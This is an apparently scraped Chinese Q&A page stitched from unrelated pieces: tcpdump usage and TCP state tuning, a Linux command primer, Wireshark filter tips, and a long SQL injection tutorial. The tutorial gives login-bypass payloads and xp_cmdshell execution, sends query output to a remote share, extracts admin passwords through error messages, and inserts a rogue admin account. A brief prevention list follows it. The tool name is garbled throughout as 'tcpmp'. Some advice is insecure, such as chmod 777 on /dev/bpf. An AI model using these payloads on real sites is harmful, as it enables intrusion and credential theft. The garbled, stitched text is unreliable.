『壹』 tcpmp可否抓到http2
tcpmp -XvvennSs 0 -i eth0 tcp[20:2]=0x4745 or tcp[20:2]=0x4854
0x4745 為"GET"前兩個字母"GE"
0x4854 為"HTTP"前兩個字母"HT"
說明: 通常情況下:一個正常的TCP連接,都會有三個階段:1、TCP三次握手;2、數據傳送;3、TCP四次揮手
裡面的幾個概念:
SYN: (同步序列編號,Synchronize Sequence Numbers)
ACK: (確認編號,Acknowledgement Number)
FIN: (結束標志,FINish)
TCP三次握手(創建 OPEN)
客戶端發起一個和服務創建TCP鏈接的請求,這里是SYN(J)
服務端接受到客戶端的創建請求後,返回兩個信息: SYN(K) + ACK(J+1)
客戶端在接受到服務端的ACK信息校驗成功後(J與J+1),返回一個信息:ACK(K+1)
服務端這時接受到客戶端的ACK信息校驗成功後(K與K+1),不再返回信息,後面進入數據通訊階段
數據通訊
客戶端/服務端 read/write數據包
TCP四次握手(關閉 finish)
客戶端發起關閉請求,發送一個信息:FIN(M)
服務端接受到信息後,首先返回ACK(M+1),表明自己已經收到消息。
服務端在准備好關閉之前,最後發送給客戶端一個 FIN(N)消息,詢問客戶端是否准備好關閉了
客戶端接受到服務端發送的消息後,返回一個確認信息: ACK(N+1)
最後,服務端和客戶端在雙方都得到確認時,各自關閉或者回收對應的TCP鏈接。
詳細的狀態說明(以及linux相關參數調整)
SYN_SEND
客戶端嘗試鏈接服務端,通過open方法。也就是TCP三次握手中的第1步之後,注意是客戶端狀態
sysctl -w net.ipv4.tcp_syn_retries = 2 ,做為客戶端可以設置SYN包的重試次數,默認5次(大約180s)引用校長的話:僅僅重試2次,現代網路夠了
SYN_RECEIVED
服務接受創建請求的SYN後,也就是TCP三次握手中的第2步,發送ACK數據包之前
注意是服務端狀態,一般15個左右正常,如果很大,懷疑遭受SYN_FLOOD攻擊
sysctl -w net.ipv4.tcp_max_syn_backlog=4096 , 設置該狀態的等待隊列數,默認1024,調大後可適當防止syn-flood,可參見man 7 tcp
sysctl -w net.ipv4.tcp_syncookies=1 ,打開syncookie,在syn backlog隊列不足的時候,提供一種機制臨時將syn鏈接換出
sysctl -w net.ipv4.tcp_synack_retries = 2 ,做為服務端返回ACK包的重試次數,默認5次(大約180s)引用校長的話:僅僅重試2次,現代網路夠了
ESTABLISHED
客戶端接受到服務端的ACK包後的狀態,服務端在發出ACK在一定時間後即為ESTABLISHED
sysctl -w net.ipv4.tcp_keepalive_time = 1200 ,默認為7200秒(2小時),系統針對空閑鏈接會進行心跳檢查,如果超過net.ipv4.tcp_keepalive_probes * net.ipv4.tcp_keepalive_intvl = 默認11分,終止對應的tcp鏈接,可適當調整心跳檢查頻率
目前線上的監控 waring:600 , critial : 800
FIN_WAIT1
主動關閉的一方,在發出FIN請求之後,也就是在TCP四次握手的第1步
CLOSE_WAIT
被動關閉的一方,在接受到客戶端的FIN後,也就是在TCP四次握手的第2步
FIN_WAIT2
主動關閉的一方,在接受到被動關閉一方的ACK後,也就是TCP四次握手的第2步
sysctl -w net.ipv4.tcp_fin_timeout=30, 可以設定被動關閉方返回FIN後的超時時間,有效回收鏈接,避免syn-flood.
LASK_ACK
被動關閉的一方,在發送ACK後一段時間後(確保客戶端已收到),再發起一個FIN請求。也就是TCP四次握手的第3步
TIME_WAIT
主動關閉的一方,在收到被動關閉的FIN包後,發送ACK。也就是TCP四次握手的第4步
sysctl -w net.ipv4.tcp_tw_recycle = 1 , 打開快速回收TIME_WAIT,Enabling this option is not recommended since this causes problems when working with NAT (Network Address Translation)
sysctl -w net.ipv4.tcp_tw_reuse =1, 快速回收並重用TIME_WAIT的鏈接, 貌似和tw_recycle有沖突,不能重用就回收?
net.ipv4.tcp_max_tw_buckets: 處於time_wait狀態的最多鏈接數,默認為180000.
相關說明
主動關閉方在接收到被動關閉方的FIN請求後,發送成功給對方一個ACK後,將自己的狀態由FIN_WAIT2修改為TIME_WAIT,而必須 再等2倍的MSL(Maximum Segment Lifetime,MSL是一個數據報在internetwork中能存在的時間)時間之後雙方才能把狀態 都改為CLOSED以關閉連接。目前RHEL里保持TIME_WAIT狀態的時間為60秒
keepAlive策略可以有效的避免進行三次握手和四次關閉的動作
其他網路重要參數
net.ipv4.tcp_rmem 參數
默認值: min=4096 default=87380 max=4194304
net.ipv4.tcp_wmem 參數
默認值: min=4096 default=16384 max=4194304
tcpmp
tcpmp是linux系統自帶的抓包工具,主要通過命令行的方式,比較適合在線上伺服器進行抓包操作,如果是windows或者ubuntu完全可 以選擇一些圖形化的工具,ubuntu比較推薦用wireshark,安裝方式很簡單sudo apt一下即可。
命令行格式:
tcpmp [ -adeflnNOpqStvx ] [ -c 數量 ] [ -F 文件名 ][ -i 網路介面 ] [ -r 文件名] [ -s snaplen ][ -T 類型 ] [ -w 文件名 ] [表達式 ]
常用的參數:
-l 使標准輸出變為緩沖行形式;
-n 不把網路地址轉換成名字;
-c 在收到指定的包的數目後,tcpmp就會停止;
-i 指定監聽的網路介面;(如果沒有指定可能在默認網卡上監聽,需要指定綁定了特定IP的網卡)
-w 直接將包寫入文件中,並不分析和列印出來;
-s 指定記錄package的大小,常見 -s 0 ,代表最大值65535,一半linux傳輸最小單元MTU為1500,足夠了
-X 直接輸出package data數據,默認不設置,只能通過-w指定文件進行輸出
常用表達式:
關於類型的關鍵字,主要包括host,net,port
傳輸方向的關鍵字,主要包括src , dst ,dst or src, dst and src
協議的關鍵字,主要包括fddi,ip ,arp,rarp,tcp,udp等類型
邏輯運算,取非運算是 'not ' '! ', 與運算是'and','&&';或運算 是'or' ,'||'
其他重要的關鍵字如下:gateway, broadcast,less,greater
實際例子:
1. http數據包抓取 (直接在終端輸出package data)
tcpmp tcp port 80 -n -X -s 0 指定80埠進行輸出
2. 抓取http包數據指定文件進行輸出package
tcpmp tcp port 80 -n -s 0 -w /tmp/tcp.cap
對應的/tmp/tcp.cap基本靠肉眼已經能看一下信息,比如http Header , content信息等
3. 結合管道流
tcpmp tcp port 80 -n -s 0 -X -l | grep xxxx
這樣可以實時對數據包進行字元串匹配過濾
4. mod_proxy反向代理抓包
線上伺服器apache+jetty,通過apache mod_proxy進行一個反向代理,80 apache埠, 7001 jetty埠
apache埠數據抓包:tcpmp tcp port 80 -n -s 0 -X -i eth0 注意:指定eth0網路介面
jetty埠數據抓包:tcpmp tcp port 7001 -n -s 0 -X -i lo 注意:指定Loopback網路介面
5. 只監控特定的ip主機
tcpmp tcp host 10.16.2.85 and port 2100 -s 0 -X
需要使用tcp表達式的組合,這里是host指示只監聽該ip
小技巧:
1. 可結合tcpmp(命令) + wireshark(圖形化)
操作:
在伺服器上進行tcpmp -w /tmp/tcp.cap 指定輸出外部文件
scp /tmp/tcp.cap 拷貝文件到你本地
wireshark & 啟動wireshark
通過File -> Open 打開拷貝下來的文件,這樣就可以利用進行數據包分析了
剩下來的事就非常方便了
『貳』 error form server 什麼意思
1.0緒論
當一台機器只開放了80埠(這里指的是提供HTTP服務)時,可能你的大多數漏洞掃描器都不能給到你很多
有價值的信息(漏洞信息),倘若這台機器的管理員是經常為他的伺服器打PATCH的話,我們只好把攻擊的
矛頭指向WEB服務攻擊了。SQL注入攻擊是WEB攻擊類型中的一種,這種攻擊沒有什麼特殊的要求,只需要
對方提供正常的HTTP服務,且不需要理會管理員是否是個「PATCH狂」。這類攻擊主要是針對某種WEB處理
程序(如ASP,JSP,PHP,CGI等等)的而進行。
這篇文章不是在為閣下介紹什麼新「玩意」,SQL注入攻擊以前就一直廣為流傳著。我之所以現在才寫這
篇文章是因為我想把我最近實驗所得的某些經驗與積累記錄下來,希望能給予讀者某些參考吧。你也可以
在「9.0我從哪裡可以得到更多相關資料?」的欄目中找到更多其他人所寫的、關於SQL注入技巧的相關資
料。
1.1什麼是SQL注入?
這種攻擊的要訣在於將SQL的查詢/行為命令通過『嵌入』的方式放入合法的HTTP提交請求中從而達到攻擊
者的某種意圖。現在很多的動態網頁都會從該網頁使用者的請求中得到某些參數,然後動態的構成SQL請
求發給資料庫的。舉個例子,當有某個用戶需要通過網頁上的用戶登陸(用戶身份驗證)時,動態網頁會將
該用戶提交上來的用戶名與密碼加進SQL詢問請求發給資料庫,用於確認該用戶提交的身份驗證信息是否
有效。在SQL注入攻擊的角度看來,這樣可以使我們在發送SQL請求時通過修改用戶名與/或密碼值的『領
域』區來達到攻擊的目的。
1.2SQL注入需要什麼(工具等)呢?
一個(些)網頁瀏覽器。
2.0什麼信息是你所需要找尋的呢?
首先你需要找到允許提交數據的頁面,如:登陸頁面、搜索頁面、反饋頁面、等等。有的時候,某些HTML
頁面會通過POST命令將所需要的參數傳遞給其他的ASP頁面。所以,有的時候你不會在URL路徑中看到相關
的參數。盡管如此,你仍可以通過查看HTML的源代碼中的"FORM"標簽來辨別是否有參數傳遞,相關的代碼
如下:
<FORM action=Search/search.asp method=post>
<input type=hidden name=A value=C>
</FORM>
在<FORM>與</FORM>的標簽對間的每一個參數傳遞都有可能可以被利用(利用在攻擊的情況下)著SQL注入。
2.1當你找不到有輸入行為的頁面時應該怎麼辦呢?
你可以找一些相關ASP、JSP、CGI或PHP這類型的頁面。嘗試找一些帶有某些參數的特殊URL,如:
3.0你應該如何測試這些缺陷是否存在呢?
首先先加入某些特殊的字元標記,輸入如:
hi' or 1=1--
尋找一些登陸頁面,在其登陸ID與密碼輸入處,或URL中輸入:
- Login: hi' or 1=1--
- Pass: hi' or 1=1--
- ' or 1=1--
如果想以『隱藏』的方式進行此類測試,你可以把該HTML網頁從網站上下載至本地硬碟,修改其隱藏部分
的值,如:
<FORM action= method=post>
<input type=hidden name=A value="hi' or 1=1--">
</FORM>
如果閣下是幸運的話估計現在已經可以不需要帳號與密碼而『成功登陸』了。
3.1為什麼使用的是' or 1=1--呢?
讓我們來看看其他例子中使用'or 1=1--的重要性吧。有別於正常的登陸方式,使用這樣的登陸方式可能
可以得到正常登陸中不能得到的某些特殊信息。用一個鏈接中得到的ASP頁來打比方:
在上面這條URL中,'category'是一個變數名,而'food'是賦予該變數的值。為了做到這些(鏈接成功),
這個ASP必須包含以下相關的代碼(下面也是我們為了演示這個實驗所寫的代碼):
v_cat = request("category")
sqlstr="SELECT * FROM proct WHERE PCategory='" & v_cat & "'"
set rs=conn.execute(sqlstr)
正如我們所看到的,變數值將會預先處理然後賦值於'v_cat',也就是說該SQL語句將會變為:
SELECT * FROM proct WHERE PCategory='food'
這個請求將會返回通過WHERE條件比較後得到的結果,在這個例子中也就是'food'了。現在設想一下如果
我們把該URL改成這樣的話:
' or 1=1--
現在我們的變數v_cat的值就等同於"food' or 1=1--"了,現在如果我們要重新代入那條SQL請求的話,
那條SQL請求將會是:
SELECT * FROM proct WHERE PCategory='food' or 1=1--'
現在這個請求將會從proct表中選取每一條信息而並不會去理會PCategory是否等於'food'。至於結尾
部分的那兩條'--'(破折號)則用於『告訴』MS SQL SERVER忽略結尾最後的那個'(單引號)。有的時候也
可以使用'#'(井號)來代替'--'(雙破折號)在這里的用法。
無論如何,如果對方不是一台SQL伺服器(這里指的是MS SQL SERVER),或者你不能使用簡單的方法去忽
略最後的那個單引號的話,你可以嘗試:
' or 'a'='a
這樣的話整個SQL請求將會變為:
SELECT * FROM proct WHERE PCategory='food' or 'a'='a'
它也會返回相同的結果。
根據實際情況,SQL注入請求是可以有多種動態變化的可能性的:
' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a
4.0如何在SQL注入請求中加入即時執行命令?
能夠進行SQL注入的伺服器通常都是一些疏於做系統性配置檢查的機器,此時我們可以嘗試使用SQL的命
令執行請求。默認的MS SQL伺服器是運行在SYSTEM用戶級別下的,這等同於系統管理員的執行與訪問權
限。我們可以使用MS SQL SERVER的擴展儲存過程(如master..xp_cmdshell等)來執行遠程系統的某些命
令:
'; exec master..xp_cmdshell 'ping 10.10.1.2'--
若失敗可以嘗試一下使用"(雙引號)代替'(單引號)。
上面例子中的第二個冒號代表一句SQL請求的結束(也代表了它後面緊跟著一條新SQL命令)。若要檢驗上
面這條PING命令是否成功,你可以在10.10.1.2這台機器上監聽ICMP請求包,並確認它是否來自那台SQL
伺服器就可以了:
#tcpmp icmp
如果你不能從那台SQL伺服器中得到PING請求的話,並在SQL請求的返回值中得到錯誤信息的話,有可能
是因為該SQL伺服器的管理員限制了WEB用戶訪問這些儲存過程了。
5.0如何可以獲取到我發的SQL請求的相關返回信息呢?
我們可以使用sp_makewebtask處理過程的相關請求寫入URL:
'; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION
_SCHEMA.TABLES"
但先決條件是目標主機的文件夾「share」屬性必須設置為「Everyone」。
6.0如何可以從資料庫返回的ODBC錯誤信息得到某些重要的數據呢?
我們可以通過發送精心構造的SQL請求迫使MS SQL SERVER從返回的信息中透露出我們想得到的信息(如表
名、列名等)。比方有這么一個URL:
在上面的URL中我們可以嘗試使用UNION子句的方式在整數'10'之後加入其他請求字元串進去的,如:
UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
上例中的系統表INFORMATION_SCHEMA.TABLES包括了這台伺服器中所有表的信息。至於TABLE_NAME區域就
包括了每一個表的名稱。我們之所以要選擇這樣寫是因為我們知道它是一定存在的。換言之我們的SQL詢
問請求就是:
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-
伺服器接到請求數據後必將返回資料庫的第一個表名。當我們使用UNION子句將請求字元串加入整數10之
後時,MS SQL SERVER會嘗試轉換該字元串為整數值。既然我們不能把字元串(nvarchar)轉為整數型(int
)時,系統就會產生錯誤。伺服器會顯示如下錯誤信息:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '
table1' to a column of data type int.
/index.asp, line 5
非常好,這條錯誤信息告訴了我們轉換出現錯誤的所有相關信息(包括我們想知道的表名)。在這個實例
中,我們知道了第一個表名是「table1」。若要得到下一個表名,我們可以發送這樣的請求:
UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WH
ERE TABLE_NAME NOT IN ('table1')--
我們也可以通過LIKE來找尋相關的特殊字:
UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WH
ERE TABLE_NAME LIKE '%25login%25'--
輸出得到:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '
admin_login' to a column of data type int.
/index.asp, line 5
6.1如何找出表中的列名?
我們可以利用另一個比較重要的表INFORMATION_SCHEMA.COLUMNS來羅列出一個表的所有列名:
UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_NAME='admin_login'--
輸出顯示為:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '
login_id' to a column of data type int.
/index.asp, line 5
現在已經得到第一個列的名稱了,我們還可以用NOT IN ()得到下一個列名:
UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--
輸出得到:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '
login_name' to a column of data type int.
/index.asp, line 5
若繼續重復這樣的操作,我們將可以獲得餘下所有的列名,如"password"、"details"。當我們使用了下
面的請求後就可以得到(除了'login_id','login_name','password',details'之外的列名):
UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password'
,details')--
輸出後得到:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select lis
t if the statement contains a UNION operator.
/index.asp, line 5
6.2如何找到我們需要的數據?
現在我們需要鑒別出一些比較重要的表與列,我們可以用相同的技巧詢問資料庫從而得到相關的信息。
現在讓我們問問"admin_login"表的第一個用戶名是什麼吧:
UNION SELECT TOP 1 login_name FROM admin_login--
輸出:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '
neo' to a column of data type int.
/index.asp, line 5
知道了一個管理員帳號是"neo"。最後,問問這個管理員帳號的密碼是什麼吧:
UNION SELECT TOP 1 password FROM admin_login where login_name='
neo'--
輸出:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '
m4trix' to a column of data type int.
/index.asp, line 5
現在我們可以用"neo"與他的密碼("m4trix")來登陸系統了。
6.3如何獲得數字串值?
在這里技術上表達的一種局限性。若要將數字(0-9之間的數字)轉換為正常的文本數據的話,我們將無法
得到我們所需要的錯誤提示信息。舉個例子,我們現在要嘗試得到帳號為"trinity"的密碼,而它所對應
的密碼為"31173":
UNION SELECT TOP 1 password FROM admin_login where login_name='
trinity'--
這樣我們大概只能得到「Page Not Found」這樣的錯誤提示。這其中的主要問題在於,在與整數(這個例
子中為10)進行了合集(使用了UNION子句)以後這個密碼"31173"將會被系統轉換為數值。這樣的話這個UN
ION字句調用就是『合法』的了,SQL伺服器將不會返回任何ODBC錯誤信息,因而我們是不可能得到這些
數字型數據的。
為了解決這個問題,我們可以為這些數據字元串加入一些字母表來確定轉化過程是錯誤的。讓我們試試
用下面的這條請求來代替原來的請求吧:
UNION SELECT TOP 1 convert(int, password%2b'%20morpheus') FROM
admin_login where login_name='trinity'--
在這里我們只不過是加入了一個(+)加號與其它我們想加入的字元進去而已(在ASCII中'+'等於0x2b)。我
們加入了一個(%20)空格與morpheus(隨便一個字元串)進入實際的密碼數據中。這樣的話,即使我們得到
了數字串'31173',它也會變成'31173 morpheus'。
在執行了convert()函數後,系統會嘗試將'31173 morpheus'轉換為整數型,SQL伺服器一定會返回這樣
的ODBC錯誤信息:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '
31173 morpheus' to a column of data type int.
/index.asp, line 5
現在你可以知道'trinity'的密碼是'31173'了吧。
7.0如何在資料庫中更新/插入數據?
當成功地收集到表中所有的列後,我們就可以在表中UPDATE(升級/修改)原有的數據或者INSERT(加入)新
的數據。打個比方,我們要修改帳號"neo"的密碼:
; UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_na
me='neo'--
加入一條新的記錄:
; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password
', 'details') VALUES (666,'neo2','newpas5','NA')--
現在我們就可以以帳號"neo2"、密碼"newpas5"登陸系統了。
8.0如何避免被SQL注入攻擊?
過濾一些特殊像單引號、雙引號、斜杠、反斜杠、冒號、空字元等的字元,過濾的對象包括:
-用戶的輸入
-提交的URL請求中的參數部分
-從cookie中得到的數據
至於數字值,將其轉換為整數型之前必須有SQL語句聲明,或者用ISNUMERIC確定它為一個整型數。
修改「Startup and run SQL Server」的用戶運行級別為低級別。
刪除一系列你不需要的儲存過程,如:
master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask
9.0我從哪裡可以得到更多相關資料?
我們最初接觸到SQL注入攻擊是在Rain Forest Puppy有關他入侵PacketStorm的文章中提到的。
一篇收集了ODBC錯誤信息的好文章:
關於在SQL SERVER中進行SQL注入的好文章:
Senseport網站所著的關於SQL注入的文章:
其他相關文檔:
『叄』 基本linux命令
基本linux命令有哪些呢?
1、ls命令
就是 list 的縮寫,通過 ls 命令不僅可以查看 linux 文件夾包含的文件,而且可以查看文件許可權(包括目錄、文件夾、文件許可權)查看目錄信息等等。
常用參數搭配:
ls -a 列出目錄所有文件,包含以.開始的隱藏文件
ls -A 列出除.及..的其它文件
ls -r 反序排列
ls -t 以文件修改時間排序
ls -S 以文件大小排序
ls -h 以易讀大小顯示
ls -l 除了文件名之外,還將文件的許可權、所有者、文件大小等信息詳細列出來
實例:
(1) 按易讀方式按時間反序排序,並顯示文件詳細信息
ls -lhrt
(2) 按大小反序顯示文件詳細信息
ls -lrS
(3)列出當前目錄中所有以"t"開頭的目錄的詳細內容
ls -l t*
(4) 列出文件絕對路徑(不包含隱藏文件)
ls | sed "s:^:`pwd`/:"
(5) 列出文件絕對路徑(包含隱藏文件)
find $pwd -maxdepth 1 | xargs ls -ld
2、cd 命令
cd(changeDirectory) 命令語法:
cd [目錄名]
說明:切換當前目錄至 dirName。
實例:
(1)進入要目錄
cd /
(2)進入 "home" 目錄
cd ~
(3)進入上一次工作路徑
cd -
(4)把上個命令的參數作為cd參數使用。
cd !$
3、pwd 命令
pwd 命令用於查看當前工作目錄路徑。
實例:
(1)查看當前路徑
pwd
(2)查看軟鏈接的實際路徑
pwd -P
4、mkdir 命令
mkdir 命令用於創建文件夾。
可用選項:
-m: 對新建目錄設置存取許可權,也可以用 chmod 命令設置;
-p: 可以是一個路徑名稱。此時若路徑中的某些目錄尚不存在,加上此選項後,系統將自動建立好那些尚不在的目錄,即一次可以建立多個目錄。
實例:
(1)當前工作目錄下創建名為 t的文件夾
mkdir t
(2)在 tmp 目錄下創建路徑為 test/t1/t 的目錄,若不存在,則創建:
mkdir -p /tmp/test/t1/t
5、rm 命令
刪除一個目錄中的一個或多個文件或目錄,如果沒有使用 -r 選項,則 rm 不會刪除目錄。如果使用 rm 來刪除文件,通常仍可以將該文件恢復原狀。
rm [選項] 文件…
實例:
(1)刪除任何 .log 文件,刪除前逐一詢問確認:
rm -i *.log
(2)刪除 test 子目錄及子目錄中所有檔案刪除,並且不用一一確認:
rm -rf test
(3)刪除以 -f 開頭的文件
rm -- -f*
6、rmdir 命令
從一個目錄中刪除一個或多個子目錄項,刪除某目錄時也必須具有對其父目錄的寫許可權。
注意:不能刪除非空目錄
實例:
(1)當 parent 子目錄被刪除後使它也成為空目錄的話,則順便一並刪除:
rmdir -p parent/child/child11
7、mv 命令
移動文件或修改文件名,根據第二參數類型(如目錄,則移動文件;如為文件則重命令該文件)。
當第二個參數為目錄時,第一個參數可以是多個以空格分隔的文件或目錄,然後移動第一個參數指定的多個文件到第二個參數指定的目錄中。
實例:
(1)將文件 test.log 重命名為 test1.txt
mv test.log test1.txt
(2)將文件 log1.txt,log2.txt,log3.txt 移動到根的 test3 目錄中
mv llog1.txt log2.txt log3.txt /test3
(3)將文件 file1 改名為 file2,如果 file2 已經存在,則詢問是否覆蓋
mv -i log1.txt log2.txt
(4)移動當前文件夾下的所有文件到上一級目錄
mv * ../
8、cp 命令
將源文件復制至目標文件,或將多個源文件復制至目標目錄。
注意:命令行復制,如果目標文件已經存在會提示是否覆蓋,而在 shell 腳本中,如果不加 -i 參數,則不會提示,而是直接覆蓋!
-i 提示
-r 復制目錄及目錄內所有項目
-a 復制的文件與原文件時間一樣
實例:
(1)復制 a.txt 到 test 目錄下,保持原文件時間,如果原文件存在提示是否覆蓋。
cp -ai a.txt test
(2)為 a.txt 建議一個鏈接(快捷方式)
cp -s a.txt link_a.txt
9、cat 命令
cat 主要有三大功能:
1.一次顯示整個文件:
cat filename
2.從鍵盤創建一個文件:
cat > filename
只能創建新文件,不能編輯已有文件。
3.將幾個文件合並為一個文件:
cat file1 file2 > file
-b 對非空輸出行號
-n 輸出所有行號
實例:
(1)把 log2012.log 的文件內容加上行號後輸入 log2013.log 這個文件里
cat -n log2012.log log2013.log
(2)把 log2012.log 和 log2013.log 的文件內容加上行號(空白行不加)之後將內容附加到 log.log 里
cat -b log2012.log log2013.log log.log
(3)使用 here doc 生成新文件
cat >log.txt <<EOF
>Hello
>World
>PWD=$(pwd)
>EOF
ls -l log.txt
cat log.txt
Hello
World
PWD=/opt/soft/test
(4)反向列示
tac log.txt
PWD=/opt/soft/test
World
Hello
10、more 命令
功能類似於 cat, more 會以一頁一頁的顯示方便使用者逐頁閱讀,而最基本的指令就是按空白鍵(space)就往下一頁顯示,按 b 鍵就會往回(back)一頁顯示。
命令參數:
+n 從笫 n 行開始顯示
-n 定義屏幕大小為n行
+/pattern 在每個檔案顯示前搜尋該字串(pattern),然後從該字串前兩行之後開始顯示
-c 從頂部清屏,然後顯示
-d 提示「Press space to continue,』q』 to quit(按空格鍵繼續,按q鍵退出)」,禁用響鈴功能
-l 忽略Ctrl+l(換頁)字元
-p 通過清除窗口而不是滾屏來對文件進行換頁,與-c選項相似
-s 把連續的多個空行顯示為一行
-u 把文件內容中的下畫線去掉
常用操作命令:
Enter 向下 n 行,需要定義。默認為 1 行
Ctrl+F 向下滾動一屏
空格鍵 向下滾動一屏
Ctrl+B 返回上一屏
= 輸出當前行的行號
:f 輸出文件名和當前行的行號
V 調用vi編輯器
!命令 調用Shell,並執行命令
q 退出more
實例:
(1)顯示文件中從第3行起的內容
more +3 text.txt
(2)在所列出文件目錄詳細信息,藉助管道使每次顯示 5 行
ls -l | more -5
按空格顯示下 5 行。
11、less 命令
less 與 more 類似,但使用 less 可以隨意瀏覽文件,而 more 僅能向前移動,卻不能向後移動,而且 less 在查看之前不會載入整個文件。
常用命令參數:
-i 忽略搜索時的大小寫
-N 顯示每行的行號
-o <文件名> 將less 輸出的內容在指定文件中保存起來
-s 顯示連續空行為一行
/字元串:向下搜索「字元串」的功能
?字元串:向上搜索「字元串」的功能
n:重復前一個搜索(與 / 或 ? 有關)
N:反向重復前一個搜索(與 / 或 ? 有關)
-x <數字> 將「tab」鍵顯示為規定的數字空格
b 向後翻一頁
d 向後翻半頁
h 顯示幫助界面
Q 退出less 命令
u 向前滾動半頁
y 向前滾動一行
空格鍵 滾動一行
回車鍵 滾動一頁
[pagedown]: 向下翻動一頁
[pageup]: 向上翻動一頁
實例:
(1)ps 查看進程信息並通過 less 分頁顯示
ps -aux | less -N
(2)查看多個文件
less 1.log 2.log
可以使用 n 查看下一個,使用 p 查看前一個。
12、head 命令
head 用來顯示檔案的開頭至標准輸出中,默認 head 命令列印其相應文件的開頭 10 行。
常用參數:
-n<行數> 顯示的行數(行數為復數表示從最後向前數)
實例:
(1)顯示 1.log 文件中前 20 行
head 1.log -n 20
(2)顯示 1.log 文件前 20 位元組
head -c 20 log2014.log
(3)顯示 t.log最後 10 行
head -n -10 t.log
13、tail 命令
用於顯示指定文件末尾內容,不指定文件時,作為輸入信息進行處理。常用查看日誌文件。
常用參數:
-f 循環讀取(常用於查看遞增的日誌文件)
-n<行數> 顯示行數(從後向前)
(1)循環讀取逐漸增加的文件內容
ping 127.0.0.1 > ping.log &
後台運行:可使用 jobs -l 查看,也可使用 fg 將其移到前台運行。
tail -f ping.log
(查看日誌)
14、which 命令
在 linux 要查找某個文件,但不知道放在哪裡了,可以使用下面的一些命令來搜索:
which 查看可執行文件的位置。
whereis 查看文件的位置。
locate 配合資料庫查看文件位置。
find 實際搜尋硬碟查詢文件名稱。
which 是在 PATH 就是指定的路徑中,搜索某個系統命令的位置,並返回第一個搜索結果。使用 which 命令,就可以看到某個系統命令是否存在,以及執行的到底是哪一個位置的命令。
常用參數:
-n 指定文件名長度,指定的長度必須大於或等於所有文件中最長的文件名。
實例:
(1)查看 ls 命令是否存在,執行哪個
which ls
(2)查看 which
which which
(3)查看 cd
which cd(顯示不存在,因為 cd 是內建命令,而 which 查找顯示是 PATH 中的命令)
查看當前 PATH 配置:
echo $PATH
或使用 env 查看所有環境變數及對應值
15、whereis 命令
whereis 命令只能用於程序名的搜索,而且只搜索二進制文件(參數-b)、man說明文件(參數-m)和源代碼文件(參數-s)。如果省略參數,則返回所有信息。whereis 及 locate 都是基於系統內建的資料庫進行搜索,因此效率很高,而find則是遍歷硬碟查找文件。
常用參數:
-b 定位可執行文件。
-m 定位幫助文件。
-s 定位源代碼文件。
-u 搜索默認路徑下除可執行文件、源代碼文件、幫助文件以外的其它文件。
實例:
(1)查找 locate 程序相關文件
whereis locate
(2)查找 locate 的源碼文件
whereis -s locate
(3)查找 lcoate 的幫助文件
whereis -m locate
『肆』 使用WireShark搜索想要的包(簡約版)
我們通過tcpmp從伺服器抓下來的包,通過WireShark打開後,是一堆原始數據。如何在成千上萬條原始數據中找到我們想要的數據呢?本文章提供兩個最常用的方法供大家參考。
WireShark提供兩個搜索欄供大家使用,一個搜索欄在主頁面正上方,中間有「應用顯示過濾器的字樣」,我們可以在這個搜索欄中輸入例如來源Ip,目標Ip,埠等條件來檢索數據,下面寫幾個最常用的:
所有ip為10.45.1.1發送給埠為80或者80埠發出的tcp包:
ip.src == 10.45.1.1 && tcp.port == 80
所有TCP長度大於7byte的包:
tcp.len >= 7
所有http協議方法為POST,Path為/api/getUser.do的包
http.request.method=="POST" && http.request.uri == "/api/getUser.do"
顯示包含TCP SYN標志的封包:
tcp.flags.syn == 0x02
tcp.window_size == 0 && tcp.flags.reset != 1
WireShark還允許精準的字元串搜索,在MAC系統中,COMMAND+F就能把字元串搜索給調出來,我們選擇下過濾器,一般我都會選擇字元串過濾器。
對於這個搜索欄,有多個選項,第一個選項最重要,選擇分組位元組流才能將所有包內容一網打盡,如果知道自己包的編碼,也一定要選擇正確的編碼才行,然後填寫完字元串後就能搜索了:
搜索完成後,頁面會自動跳轉到搜索結果條上去,搜索結果那一行會變灰,然後我們右鍵選擇搜索出來的那一行,然後選擇追蹤流-》TCP流,就能看到傳輸的內容了:
PS,如果在MAC本機抓包,WireShark會提示沒有網卡訪問許可權,這個時候執行下面的命令即可:
sudo chmod 777 /dev/bpf*
『伍』 Tcpmp 看這一篇就夠了
